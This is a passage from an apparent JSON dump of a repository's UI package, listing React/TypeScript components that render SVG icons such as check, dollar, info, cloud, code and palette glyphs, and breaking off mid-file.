    "content": "import { SVGProps } from \"react\";\n\nexport function CircleCheckFill(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <path\n          d=\"M9,1C4.589,1,1,4.589,1,9s3.589,8,8,8,8-3.589,8-8S13.411,1,9,1Zm3.843,5.708l-4.25,5.5c-.136,.176-.343,.283-.565,.291-.01,0-.019,0-.028,0-.212,0-.415-.09-.558-.248l-2.25-2.5c-.277-.308-.252-.782,.056-1.06,.309-.276,.781-.252,1.06,.056l1.648,1.832,3.701-4.789c.253-.328,.725-.388,1.052-.135,.328,.253,.388,.724,.135,1.052Z\"\n          fill=\"currentColor\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/circle-check.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function CircleCheck(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <circle\n          cx=\"9\"\n          cy=\"9\"\n          fill=\"none\"\n          r=\"7.25\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <polyline\n          fill=\"none\"\n          points=\"5.75 9.25 8 11.75 12.25 6.25\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/circle-dollar-out.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function CircleDollarOut(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      width={16}\n      height={16}\n      viewBox=\"0 0 16 16\"\n      fill=\"none\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g clipPath=\"url(#clip0_36876_172214)\">\n        <path\n          d=\"M9.55575 5.55606H7.44446C6.76952 5.55606 6.22241 6.10317 6.22241 6.7781C6.22241 7.45304 6.76952 8.0005 7.44446 8.0005H8.55583C9.23077 8.0005 9.77788 8.54761 9.77788 9.22255C9.77788 9.89748 9.23077 10.4447 8.55583 10.4447H6.44455M8.0001 4.66699V5.55606M8.0001 11.3337V10.4448\"\n          stroke=\"#171717\"\n          strokeWidth=\"1.5\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n        />\n        <path\n          d=\"M13.1113 10.8887L15.3336 13.1109L13.1113 15.3331\"\n          stroke=\"#171717\"\n          strokeWidth=\"1.5\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n        />\n        <path\n          d=\"M14.4155 8.57602C14.4324 8.38589 14.4446 8.19451 14.4446 8.00011C14.4446 4.44109 11.5593 1.55566 8.00011 1.55566C4.44091 1.55566 1.55566 4.44109 1.55566 8.00011C1.55566 11.5591 4.44091 14.4446 8.00011 14.4446C8.19282 14.4446 8.3826 14.4324 8.57104 14.4157\"\n          stroke=\"#171717\"\n          strokeWidth=\"1.5\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n        />\n        <path\n          d=\"M15.1111 13.1113H10.8889\"\n          stroke=\"#171717\"\n          strokeWidth=\"1.5\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n        />\n      </g>\n      <defs>\n        <clipPath id=\"clip0_36876_172214\">\n          <rect width={16} height={16} fill=\"white\" />\n        </clipPath>\n      </defs>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/circle-dollar.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function CircleDollar(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <circle\n          cx=\"9\"\n          cy=\"9\"\n          fill=\"none\"\n          r=\"7.25\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          d=\"M10.817,6.951c-.394-.933-1.183-1.144-1.779-1.144-.554,0-2.01,.295-1.875,1.692,.094,.981,1.019,1.346,1.827,1.49s1.981,.452,2.01,1.635c.024,1-.875,1.683-1.962,1.683-1.038,0-1.76-.404-2.038-1.317\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"9\"\n          x2=\"9\"\n          y1=\"4.75\"\n          y2=\"5.807\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"9\"\n          x2=\"9\"\n          y1=\"12.307\"\n          y2=\"13.25\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/circle-dollar3.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function CircleDollar3(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      width=\"20\"\n      height=\"20\"\n      viewBox=\"0 0 20 20\"\n      fill=\"none\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <path\n        d=\"M12.9999 2.52161C15.9631 3.71143 18.0554 6.61141 18.0554 10C18.0554 13.3886 15.9631 16.2886 12.9999 17.4784M6.9999 2.52161C4.03666 3.71143 1.94434 6.61141 1.94434 10C1.94434 13.3886 4.03665 16.2886 6.99988 17.4784\"\n        stroke=\"currentColor\"\n        strokeWidth=\"1.5\"\n        strokeLinecap=\"round\"\n        strokeLinejoin=\"round\"\n      />\n      <path\n        d=\"M11.9445 6.94459H9.30539C8.46172 6.94459 7.77783 7.62847 7.77783 8.47214C7.77783 9.31581 8.46172 10.0001 9.30539 10.0001H10.6946C11.5383 10.0001 12.2222 10.684 12.2222 11.5277C12.2222 12.3714 11.5383 13.0554 10.6946 13.0554H8.0555M9.99994 5.83325V6.94459M9.99994 14.1666V13.0555\"\n        stroke=\"currentColor\"\n        strokeWidth=\"1.5\"\n        strokeLinecap=\"round\"\n        strokeLinejoin=\"round\"\n      />\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/circle-dotted.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function CircleDotted(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <circle\n          cx=\"3.873\"\n          cy=\"14.127\"\n          fill=\"currentColor\"\n          r=\".75\"\n          stroke=\"none\"\n        />\n        <circle cx=\"1.75\" cy=\"9\" fill=\"currentColor\" r=\".75\" stroke=\"none\" />\n        <circle\n          cx=\"3.873\"\n          cy=\"3.873\"\n          fill=\"currentColor\"\n          r=\".75\"\n          stroke=\"none\"\n        />\n        <circle\n          cx=\"6.226\"\n          cy=\"15.698\"\n          fill=\"currentColor\"\n          r=\".75\"\n          stroke=\"none\"\n        />\n        <circle\n          cx=\"2.302\"\n          cy=\"11.774\"\n          fill=\"currentColor\"\n          r=\".75\"\n          stroke=\"none\"\n        />\n        <circle\n          cx=\"2.302\"\n          cy=\"6.226\"\n          fill=\"currentColor\"\n          r=\".75\"\n          stroke=\"none\"\n        />\n        <circle\n          cx=\"6.226\"\n          cy=\"2.302\"\n          fill=\"currentColor\"\n          r=\".75\"\n          stroke=\"none\"\n        />\n        <circle cx=\"9\" cy=\"1.75\" fill=\"currentColor\" r=\".75\" stroke=\"none\" />\n        <circle cx=\"9\" cy=\"16.25\" fill=\"currentColor\" r=\".75\" stroke=\"none\" />\n        <circle\n          cx=\"14.127\"\n          cy=\"14.127\"\n          fill=\"currentColor\"\n          r=\".75\"\n          stroke=\"none\"\n        />\n        <circle cx=\"16.25\" cy=\"9\" fill=\"currentColor\" r=\".75\" stroke=\"none\" />\n        <circle\n          cx=\"14.127\"\n          cy=\"3.873\"\n          fill=\"currentColor\"\n          r=\".75\"\n          stroke=\"none\"\n        />\n        <circle\n          cx=\"11.774\"\n          cy=\"15.698\"\n          fill=\"currentColor\"\n          r=\".75\"\n          stroke=\"none\"\n        />\n        <circle\n          cx=\"15.698\"\n          cy=\"11.774\"\n          fill=\"currentColor\"\n          r=\".75\"\n          stroke=\"none\"\n        />\n        <circle\n          cx=\"15.698\"\n          cy=\"6.226\"\n          fill=\"currentColor\"\n          r=\".75\"\n          stroke=\"none\"\n        />\n        <circle\n          cx=\"11.774\"\n          cy=\"2.302\"\n          fill=\"currentColor\"\n          r=\".75\"\n          stroke=\"none\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/circle-half-dotted-check.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function CircleHalfDottedCheck(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <path\n          d=\"M9,1.75c4.004,0,7.25,3.246,7.25,7.25s-3.246,7.25-7.25,7.25\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <polyline\n          fill=\"none\"\n          points=\"5.75 9.25 8 11.75 12.25 6.25\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <circle\n          cx=\"3.873\"\n          cy=\"14.127\"\n          fill=\"currentColor\"\n          r=\".75\"\n          stroke=\"none\"\n        />\n        <circle cx=\"1.75\" cy=\"9\" fill=\"currentColor\" r=\".75\" stroke=\"none\" />\n        <circle\n          cx=\"3.873\"\n          cy=\"3.873\"\n          fill=\"currentColor\"\n          r=\".75\"\n          stroke=\"none\"\n        />\n        <circle\n          cx=\"6.226\"\n          cy=\"15.698\"\n          fill=\"currentColor\"\n          r=\".75\"\n          stroke=\"none\"\n        />\n        <circle\n          cx=\"2.302\"\n          cy=\"11.774\"\n          fill=\"currentColor\"\n          r=\".75\"\n          stroke=\"none\"\n        />\n        <circle\n          cx=\"2.302\"\n          cy=\"6.226\"\n          fill=\"currentColor\"\n          r=\".75\"\n          stroke=\"none\"\n        />\n        <circle\n          cx=\"6.226\"\n          cy=\"2.302\"\n          fill=\"currentColor\"\n          r=\".75\"\n          stroke=\"none\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/circle-half-dotted-clock.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function CircleHalfDottedClock(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <polyline\n          fill=\"none\"\n          points=\"9 4.75 9 9 12.25 11.25\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          d=\"M9,1.75c4.004,0,7.25,3.246,7.25,7.25s-3.246,7.25-7.25,7.25\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <circle\n          cx=\"3.873\"\n          cy=\"14.127\"\n          fill=\"currentColor\"\n          r=\".75\"\n          stroke=\"none\"\n        />\n        <circle cx=\"1.75\" cy=\"9\" fill=\"currentColor\" r=\".75\" stroke=\"none\" />\n        <circle\n          cx=\"3.873\"\n          cy=\"3.873\"\n          fill=\"currentColor\"\n          r=\".75\"\n          stroke=\"none\"\n        />\n        <circle\n          cx=\"6.226\"\n          cy=\"15.698\"\n          fill=\"currentColor\"\n          r=\".75\"\n          stroke=\"none\"\n        />\n        <circle\n          cx=\"2.302\"\n          cy=\"11.774\"\n          fill=\"currentColor\"\n          r=\".75\"\n          stroke=\"none\"\n        />\n        <circle\n          cx=\"2.302\"\n          cy=\"6.226\"\n          fill=\"currentColor\"\n          r=\".75\"\n          stroke=\"none\"\n        />\n        <circle\n          cx=\"6.226\"\n          cy=\"2.302\"\n          fill=\"currentColor\"\n          r=\".75\"\n          stroke=\"none\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/circle-info.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function CircleInfo(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <circle\n          cx=\"9\"\n          cy=\"9\"\n          fill=\"none\"\n          r=\"7.25\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"9\"\n          x2=\"9\"\n          y1=\"12.819\"\n          y2=\"8.25\"\n        />\n        <path\n          d=\"M9,6.75c-.552,0-1-.449-1-1s.448-1,1-1,1,.449,1,1-.448,1-1,1Z\"\n          fill=\"currentColor\"\n          stroke=\"none\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/circle-percentage.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function CirclePercentage(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n    >\n      <g fill=\"currentColor\">\n        <circle\n          cx=\"9\"\n          cy=\"9\"\n          fill=\"none\"\n          r=\"7.25\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <circle\n          cx=\"6.75\"\n          cy=\"6.75\"\n          fill=\"currentColor\"\n          r=\"1.25\"\n          stroke=\"none\"\n        />\n        <circle\n          cx=\"11.25\"\n          cy=\"11.25\"\n          fill=\"currentColor\"\n          r=\"1.25\"\n          stroke=\"none\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"6.25\"\n          x2=\"11.75\"\n          y1=\"11.75\"\n          y2=\"6.25\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/circle-play-fill.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function CirclePlayFill(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <path\n          d=\"M9,1C4.589,1,1,4.589,1,9s3.589,8,8,8,8-3.589,8-8S13.411,1,9,1Zm2.778,8.648l-3.65,2.129c-.118,.069-.248,.104-.378,.104-.128,0-.256-.034-.374-.101-.236-.135-.376-.378-.376-.65V6.871c0-.272,.141-.515,.376-.65,.236-.136,.517-.134,.751,.002l3.65,2.129c.233,.136,.373,.378,.373,.648s-.139,.512-.373,.648Z\"\n          fill=\"currentColor\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/circle-play.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function CirclePlay(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <path\n          d=\"M11.652,8.568l-3.651-2.129c-.333-.194-.752,.046-.752,.432v4.259c0,.386,.419,.626,.752,.432l3.651-2.129c.331-.193,.331-.671,0-.864Z\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <circle\n          cx=\"9\"\n          cy=\"9\"\n          fill=\"none\"\n          r=\"7.25\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/circle-question.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function CircleQuestion(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <circle\n          cx=\"9\"\n          cy=\"9\"\n          fill=\"none\"\n          r=\"7.25\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          d=\"M6.925,6.619c.388-1.057,1.294-1.492,2.18-1.492,.895,0,1.818,.638,1.818,1.808,0,1.784-1.816,1.468-2.096,3.065\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          d=\"M8.791,13.567c-.552,0-1-.449-1-1s.448-1,1-1,1,.449,1,1-.448,1-1,1Z\"\n          fill=\"currentColor\"\n          stroke=\"none\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/circle-user.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function CircleUser(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <circle\n          cx=\"9\"\n          cy=\"7.75\"\n          fill=\"none\"\n          r=\"2\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <circle\n          cx=\"9\"\n          cy=\"9\"\n          fill=\"none\"\n          r=\"7.25\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          d=\"M5.154,15.147c.479-1.673,2.019-2.897,3.846-2.897s3.367,1.224,3.846,2.897\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/circle-warning.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function CircleWarning(\n  props: SVGProps<SVGSVGElement> & { invert?: boolean },\n) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        {props.invert ? (\n          <path\n            d=\"M9,1.5C4.86,1.5,1.5,4.86,1.5,9s3.36,7.5,7.5,7.5,7.5-3.36,7.5-7.5S13.14,1.5,9,1.5Zm0,11.917c-.552,0-1-.449-1-1s.448-1,1-1,1,.449,1,1-.448,1-1,1Zm.75-4.348c0,.414-.336,.75-.75,.75s-.75-.336-.75-.75V5.431c0-.414,.336-.75,.75-.75s.75,.336,.75,.75v3.638Z\"\n            fill=\"currentColor\"\n          />\n        ) : (\n          <>\n            <circle\n              cx=\"9\"\n              cy=\"9\"\n              fill=\"none\"\n              r=\"7.25\"\n              stroke=\"currentColor\"\n              strokeLinecap=\"round\"\n              strokeLinejoin=\"round\"\n              strokeWidth=\"1.5\"\n            />\n            <line\n              fill=\"none\"\n              stroke=\"currentColor\"\n              strokeLinecap=\"round\"\n              strokeLinejoin=\"round\"\n              strokeWidth=\"1.5\"\n              x1=\"9\"\n              x2=\"9\"\n              y1=\"5.431\"\n              y2=\"9.569\"\n            />\n            <path\n              d=\"M9,13.417c-.552,0-1-.449-1-1s.448-1,1-1,1,.449,1,1-.448,1-1,1Z\"\n              fill=\"currentColor\"\n              stroke=\"none\"\n            />\n          </>\n        )}\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/circle-xmark.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function CircleXmark(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <circle\n          cx=\"9\"\n          cy=\"9\"\n          fill=\"none\"\n          r=\"7.25\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"6.25\"\n          x2=\"11.75\"\n          y1=\"6.25\"\n          y2=\"11.75\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"11.75\"\n          x2=\"6.25\"\n          y1=\"6.25\"\n          y2=\"11.75\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/circles.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function Circles(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <circle\n          cx=\"7\"\n          cy=\"7\"\n          fill=\"none\"\n          r=\"5.25\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <circle\n          cx=\"11\"\n          cy=\"11\"\n          fill=\"none\"\n          r=\"5.25\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/circles3.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function Circles3(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <circle\n          cx=\"9\"\n          cy=\"9\"\n          fill=\"none\"\n          r=\"7.25\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <circle\n          cx=\"9\"\n          cy=\"9\"\n          fill=\"none\"\n          r=\"1.25\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          d=\"M9,13.25c-2.347,0-4.25-1.903-4.25-4.25\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          d=\"M9,4.75c2.347,0,4.25,1.903,4.25,4.25\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/cloud-upload.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function CloudUpload(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <path\n          d=\"M13.464,6.891c-.186-2.314-2.102-4.141-4.464-4.141-2.485,0-4.5,2.015-4.5,4.5,0,.35,.049,.686,.124,1.013-1.597,.067-2.874,1.374-2.874,2.987,0,1.657,1.343,3,3,3h7.75c2.071,0,3.75-1.679,3.75-3.75,0-1.736-1.185-3.182-2.786-3.609Z\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <polyline\n          fill=\"none\"\n          points=\"6.75 9 9 6.75 11.25 9\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"9\"\n          x2=\"9\"\n          y1=\"6.75\"\n          y2=\"11.75\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/cloud.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function Cloud(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <path\n          d=\"M13.464,6.891c-.186-2.314-2.102-4.141-4.464-4.141-2.485,0-4.5,2.015-4.5,4.5,0,.35,.049,.686,.124,1.013-1.597,.067-2.874,1.374-2.874,2.987,0,1.657,1.343,3,3,3h7.75c2.071,0,3.75-1.679,3.75-3.75,0-1.736-1.185-3.182-2.786-3.609Z\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          d=\"M9.705,8c.687-.767,1.684-1.25,2.795-1.25,.333,0,.657,.059,.964,.141\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/code.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function Code(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg viewBox=\"0 0 18 18\" xmlns=\"http://www.w3.org/2000/svg\" {...props}>\n      <g fill=\"currentColor\">\n        <polyline\n          fill=\"none\"\n          points=\"5.25 12.5 1.75 9 5.25 5.5\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <polyline\n          fill=\"none\"\n          points=\"12.75 12.5 16.25 9 12.75 5.5\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <line\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n          x1=\"7.5\"\n          x2=\"10.5\"\n          y1=\"15.25\"\n          y2=\"2.75\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/color-palette2.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function ColorPalette2(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"18\"\n      width=\"18\"\n      viewBox=\"0 0 18 18\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <path\n          d=\"M6.591,14.591l6.541-6.541c.391-.391,.391-1.024,0-1.414l-1.768-1.768c-.391-.391-1.024-.391-1.414,0l-.2,.2\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          d=\"M5,15.25H14.25c.552,0,1-.448,1-1v-2.5c0-.552-.448-1-1-1h-.283\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n          strokeWidth=\"1.5\"\n        />\n        <path\n          